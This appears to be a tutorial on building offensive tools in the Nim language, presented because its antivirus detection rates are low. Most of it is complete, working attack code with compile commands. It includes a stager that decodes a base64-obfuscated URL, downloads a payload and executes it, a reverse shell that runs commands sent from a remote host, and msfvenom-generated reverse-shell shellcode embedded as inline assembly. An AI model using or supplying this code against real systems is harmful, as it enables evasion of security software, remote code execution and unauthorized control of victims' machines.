Nim is a statically compiled programming language. The language itself is pretty similar scripting languages such as Python.
The Nim compiler translates Nim source code to C before compilation, and supports cross compilation between Operating Systems.
By virtue of it being relativly obscure, Anti-Virus detection rates can be lower compared to other languages, such as C#. As such, it’s been adopted by threat actors.
To install Nim on a Mac with homebrew;
brew install nim --verbose
To install on a Kali Linux host;
sudo app install nim
For cross compilation (creating Windows executable on Linux/MacOS), ensure the MinGW compiler is installed;
brew install mingw-w64 sudo apt install mingw-w64
Then just specify MinGW should be used when compiling.
nim c -d:mingw example.nim
Writing a Stager
The purpose of this application is to download and execute further code. The code should be relativly self explanitory if you are used to Python.
- The let statement defines a single assignment variable. (Lines 9,10)
- The discard statement does nothing, but needed as the execCmd function must return a value. (Line 16)
import std/httpclient import std/base64 import std/osproc let encodedurl = "aHR0cHM6Ly93d3cuYm9yZGVyZ2F0ZS5jby51aw==" let decodedurl = decode(encodedurl) var client = newHttpClient() echo "Downloading Content..." writeFile("payload", client.getContent(decodedurl)) discard execCmd("chmod +x ./payload && ./payload")
Compile the application using;
nim c -d:ssl -o:Stager -r Stager.nim
Writing a Reverse Shell
In this example, we’re using creating a socket to a remote host, executing commands provided and returning a response.
Note, that space characters are used as markup in Nim, but tab characters are not allowed!
import std/osproc import std/times import net import os import streams let ip = "192.168.1.236" let port = 4444 while true: try: echo now(), " Attempting to connect to ", ip, " on port ", port var socket = newSocket() socket.connect(ip, Port(port)) echo now(), " Connected!" while true: try: socket.send(">") var command = socket.recvLine() var result = execProcess(command) socket.send(result) except: echo now(), " Error sending response: ", getCurrentExceptionMsg() break except: echo now(), " Unable to connect to ", ip, " on port ", port, " ", getCurrentExceptionMsg() sleep(2000)
nim c -o:RevShell -r ReverseShell.nim
The WinIm library can be used to interface with the Win32 API.
import winim/com MessageBox(0, "Test", "Nim is awesome!", 0)
Since Nim is compiling our code to C, we can use inline assembly to execute shellcode, without using any further API’s (such as VirtualAlloc on Windows).
# msfvenom -p linux/aarch64/shell_reverse_tcp EXITFUNC=thread LHOST=127.0.0.1 LPORT=4444 -f csharp proc shellcode(): void = asm """ .byte 0x40,0x00,0x80,0xd2,0x21,0x00,0x80,0xd2,0x02,0x00,0x80,0xd2,0xc8,0x18,0x80,0xd2,0x01,0x00,0x00,0xd4,0xe3,0x03,0x00,0xaa,0x41,0x03,0x00,0x10,0x02,0x02,0x80,0xd2,0x68,0x19,0x80,0xd2,0x01,0x00,0x00,0xd4,0x60,0x02,0x00,0x35,0xe0,0x03,0x03,0xaa,0x02,0x00,0x80,0xd2,0x01,0x00,0x80,0xd2,0x08,0x03,0x80,0xd2,0x01,0x00,0x00,0xd4,0x21,0x00,0x80,0xd2,0x08,0x03,0x80,0xd2,0x01,0x00,0x00,0xd4,0x41,0x00,0x80,0xd2,0x08,0x03,0x80,0xd2,0x01,0x00,0x00,0xd4,0x80,0x01,0x00,0x10,0x02,0x00,0x80,0xd2,0xe0,0x03,0x00,0xf9,0xe2,0x07,0x00,0xf9,0xe1,0x03,0x00,0x91,0xa8,0x1b,0x80,0xd2,0x01,0x00,0x00,0xd4,0x00,0x00,0x80,0xd2,0xa8,0x0b,0x80,0xd2,0x01,0x00,0x00,0xd4,0x02,0x00,0x11,0x5c,0x7f,0x00,0x00,0x01,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ret """ shellcode()
These examples are fairly basic, but hopefully give you an idea of how easy it is to create simple tools using Nim.